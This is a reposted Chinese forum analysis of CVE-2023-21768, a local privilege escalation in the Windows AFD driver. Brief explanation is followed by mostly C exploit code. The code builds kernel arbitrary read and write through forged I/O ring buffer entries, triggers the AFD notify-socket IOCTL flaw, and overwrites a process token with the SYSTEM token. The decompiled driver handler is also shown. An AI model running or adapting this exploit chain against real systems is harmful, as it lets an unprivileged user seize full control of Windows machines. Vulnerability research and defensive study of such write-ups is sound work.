[原创]Windows_AFD_LPE_CVE-2023-21768分析
2023-3-29 01:20:29 Author: bbs.pediy.com(查看原文) 阅读量:17 收藏

submission queue的结构是头部+若干个NT_IORING_SEQ,Head和Tail之间的NT_IORING_SEQ是还未被处理的NT_IORING_SEQ。

以FileRef所指向的文件句柄和buffer进行读写操作,当操作为读时从文件处读取length长的数据并写入到buffer的Address中,当操作为写时从buffer的Address处读取length长的数据并写入到文件中。

如果我们将Buffer改写为我们申请出的一块内存,并且将address和length设置好,那么当操作是写时,从buffer的Address处读取length长的数据并写入到文件中,我们在从这个文件中读出数据就可以实现任意读,当操作是读时,从文件处读取length长的数据并写入到buffer的Address中,就可以实现任意写。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

创建I/O ringint ioring_setup(PIORING_OBJECT* ppIoRingAddr)

{

    int ret = -1;

    IORING_CREATE_FLAGS ioRingFlags = { 0 };

    ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;

    ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;

    ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);

    if (0 != ret)

    {

        goto done;

    }

    ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);

    if (0 != ret)

    {

        goto done;

    }

    pIoRing = *ppIoRingAddr;

    hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);

    hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);

    if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe))

    {

        ret = GetLastError();

        goto done;

    }

    hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient))

    {

        ret = GetLastError();

        goto done;

    }

    ret = 0;

done:

    return ret;

}

首先设置好读取数据地址和长度,在通过BuildIoRingWriteFile将ReadAddr处的数据写入到管道中,再从管道中将数据读取到ReadBuffer中。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)

{

    int ret = -1;

    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;

    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);

    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);

    IORING_CQE cqe = { 0 };

    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);

    if (NULL == pMcBufferEntry)

    {

        ret = GetLastError();

        goto done;

    }

    pMcBufferEntry->Address = pReadAddr;

    pMcBufferEntry->Length = ulReadLen;

    pMcBufferEntry->Type = 0xc02;

    pMcBufferEntry->Size = 0x80;

    pMcBufferEntry->AccessMode = 1;

    pMcBufferEntry->ReferenceCount = 1;

    pRegisterBuffers[0] = pMcBufferEntry;

    ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);

    if (0 != ret)

    {

        goto done;

    }

    ret = SubmitIoRing(hIoRing, 0, 0, NULL);

    if (0 != ret)

    {

        goto done;

    }

    ret = PopIoRingCompletion(hIoRing, &cqe);

    if (0 != ret)

    {

        goto done;

    }

    if (0 != cqe.ResultCode)

    {

        ret = cqe.ResultCode;

        goto done;

    }

    if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))

    {

        ret = GetLastError();

        goto done;

    }

    ret = 0;

done:

    if (NULL != pMcBufferEntry)

    {

        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);

    }

    return ret;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)

{

    int ret = -1;

    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;

    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);

    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);

    IORING_CQE cqe = { 0 };

    if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))

    {

        ret = GetLastError();

        goto done;

    }

    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);

    if (NULL == pMcBufferEntry)

    {

        ret = GetLastError();

        goto done;

    }

    pMcBufferEntry->Address = pWriteAddr;

    pMcBufferEntry->Length = ulWriteLen;

    pMcBufferEntry->Type = 0xc02;

    pMcBufferEntry->Size = 0x80;

    pMcBufferEntry->AccessMode = 1;

    pMcBufferEntry->ReferenceCount = 1;

    pRegisterBuffers[0] = pMcBufferEntry;

    ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);

    if (0 != ret)

    {

        goto done;

    }

    ret = SubmitIoRing(hIoRing, 0, 0, NULL);

    if (0 != ret)

    {

        goto done;

    }

    ret = PopIoRingCompletion(hIoRing, &cqe);

    if (0 != ret)

    {

        goto done;

    }

    if (0 != cqe.ResultCode)

    {

        ret = cqe.ResultCode;

        goto done;

    }

    ret = 0;

done:

    if (NULL != pMcBufferEntry)

    {

        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);

    }

    return ret;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt)

{

    int ret = -1;

    HANDLE hProc = NULL;

    ULONG64 ullSystemEPROCaddr = 0;

    ULONG64 ullTargEPROCaddr = 0;

    PVOID pFakeRegBuffers = NULL;

    _HIORING* phIoRing = NULL;

    ULONG64 ullSysToken = 0;

    char null[0x10] = { 0 };

    hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);

    if (NULL == hProc)

    {

        ret = GetLastError();

        goto done;

    }

    ret = getobjptr(&ullSystemEPROCaddr, 4, 4);

    if (0 != ret)

    {

        goto done;

    }

    printf("[+] System EPROC address: %llx\n", ullSystemEPROCaddr);

    ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);

    if (0 != ret)

    {

        goto done;

    }

    printf("[+} Target process EPROC address: %llx\n", ullTargEPROCaddr);

    pFakeRegBuffers = VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr)

    {

        ret = GetLastError();

        goto done;

    }

    memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);

    phIoRing = *(_HIORING**)&hIoRing;

    phIoRing->RegBufferArray = pFakeRegBuffers;

    phIoRing->BufferArraySize = ulFakeRegBufferCnt;

    ret = ioring_read(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));

    if (0 != ret)

    {

        goto done;

    }

    printf("[+] System token is at: %llx\n", ullSysToken);

    ret = ioring_write(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));

    if (0 != ret)

    {

        goto done;

    }

    ioring_write(pFakeRegBuffers, &pIoRing->RegBuffersCount, &null, 0x10);

    ret = 0;

done:

    return ret;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

if ( InputBufferLength != 0x30 || OutputBufferLength )

  {

    v10 = STATUS_INFO_LENGTH_MISMATCH;

    goto LABEL_45;

  }

if ( !v7->dwCounter )

    goto LABEL_5;

if ( v7->dwLen )

 {

    if ( !v7->pPwnPtr || !v7->pData2 )

      goto LABEL_5;

 }

else if ( v7->pData2 || v7->dwTimeout )

  {

LABEL_5:

    v10 = STATUS_INVALID_PARAMETER;

    goto LABEL_45;

  }

v11 = v7->hCompletion;

Object = 0i64;

v10 = ObReferenceObjectByHandle(v11, 2u, IoCompletionObjectType, pre_mode, &Object, 0i64);

if ( v10 >= 0 )

  {

    v12 = IoIs32bitProcess(0i64);

    v13 = 0;

    v14 = (unsigned __int64 *)MmUserProbeAddress;

    while ( v13 < v7->dwCounter )

    {

      if ( pre_mode )

      {

        v24 = 0i64;

        v25 = 0i64;

        v15 = v13;

        v16 = v7->pData1;

        if ( v12 )

        {

          v17 = (unsigned __int64)v16 + 16 * v13;

          v31 = v17;

          if ( (v17 & 3) != 0 )

            ExRaiseDatatypeMisalignment();

          if ( v17 + 16 > *v14 || v17 + 16 < v17 )

            *(_BYTE *)*v14 = 0;

          *(_QWORD *)&v24 = *(unsigned int *)v17;

          *((_QWORD *)&v24 + 1) = *(unsigned int *)(v17 + 4);

          LOWORD(v25) = *(_WORD *)(v17 + 8);

          BYTE2(v25) = *(_BYTE *)(v17 + 10);

        }

        else

        {

          v17 = (unsigned __int64)v16 + 24 * v13;

          if ( v17 >= *v14 )

            v17 = *v14;

          v24 = *(_OWORD *)v17;

          v25 = *(_QWORD *)(v17 + 16);

        }

        v18 = &v24;

        v27 = &v24;

      }

      else

      {

        v15 = v13;

        v17 = 3i64 * v13;

        v18 = (__int128 *)((char *)v7->pData1 + 24 * v13);

        v27 = v18;

      }

      v19 = a1;

      if ( v13 )

        v19 = 0i64;

      LOBYTE(v17) = pre_mode;

      v20 = AfdNotifyProcessRegistration(v17, v9, v18, v19);

      if ( pre_mode )

      {

        v21 = (char *)v7->pData1;

        v14 = (unsigned __int64 *)MmUserProbeAddress;

        if ( v12 )

          v22 = &v21[16 * v15 + 12];

        else

          v22 = &v21[24 * v15 + 20];

        if ( (unsigned __int64)v22 >= MmUserProbeAddress )

          v22 = (char *)MmUserProbeAddress;

        *(_DWORD *)v22 = v20;

      }

      else

      {

        *((_DWORD *)v7->pData1 + 6 * v15 + 5) = v20;

        v14 = (unsigned __int64 *)MmUserProbeAddress;

      }

      ++v13;

    }

    v10 = AfdNotifyRemoveIoCompletion(pre_mode, (__int64)v9, (__int64)v7);

  }

为了过掉检测需要将InputBufferLength设置为0x30,将hCompletion通过未导出函数NtCreateIoCompletion设置为一个句柄,将pdata1设置为一块申请出的空间, counter 设为1。

将dwLen = 0x1设为1, pData2设为一块申请出的内存,为了使IoRemoveIoCompletion返回0需要使用未导出函数NtSetIoCompletion。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

int ArbitraryKernelWrite0x1(void* pPwnPtr)

{

    int ret = -1;

    HANDLE hCompletion = INVALID_HANDLE_VALUE;

    IO_STATUS_BLOCK IoStatusBlock = { 0 };

    HANDLE hSocket = INVALID_HANDLE_VALUE;

    UNICODE_STRING ObjectFilePath = { 0 };

    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };

    AFD_NOTIFYSOCK_DATA Data = { 0 };

    HANDLE hEvent = NULL;

    HANDLE hThread = NULL;

    // Hard-coded attributes for an IPv4 TCP socket

    BYTE bExtendedAttributes[] =

    {

        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,

        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE

    };

    ret = _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);

    if (0 != ret)

    {

        goto done;

    }

    ret = _NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);

    if (0 != ret)

    {

        goto done;

    }

    ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";

    ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);

    ObjectFilePath.MaximumLength = ObjectFilePath.Length;

    ObjectAttributes.Length = sizeof(ObjectAttributes);

    ObjectAttributes.ObjectName = &ObjectFilePath;

    ObjectAttributes.Attributes = 0x40;

    ret = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));

    if (0 != ret)

    {

        goto done;

    }

    Data.hCompletion = hCompletion;

    Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    Data.dwCounter = 0x1;

    Data.dwLen = 0x1;

    Data.dwTimeout = 100000000;

    Data.pPwnPtr = pPwnPtr;

    if ((NULL == Data.pData1) || (NULL == Data.pData2))

    {

        ret = GetLastError();

        goto done;

    }

    hEvent = CreateEvent(NULL, 0, 0, NULL);

    if (NULL == hEvent)

    {

        ret = GetLastError();

        goto done;

    }

    _NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);

    ret = 0;

done:

    if (INVALID_HANDLE_VALUE != hCompletion)

    {

        CloseHandle(hCompletion);

    }

    if (INVALID_HANDLE_VALUE != hSocket)

    {

        CloseHandle(hSocket);

    }

    if (NULL != hEvent)

    {

        CloseHandle(hEvent);

    }

    if (NULL != Data.pData1)

    {

        VirtualFree(Data.pData1, 0, MEM_RELEASE);

    }

    if (NULL != Data.pData2)

    {

        VirtualFree(Data.pData2, 0, MEM_RELEASE);

    }

    return ret;

}


文章来源: https://bbs.pediy.com/thread-276663.htm
如有侵权请联系:admin#unsafe.sh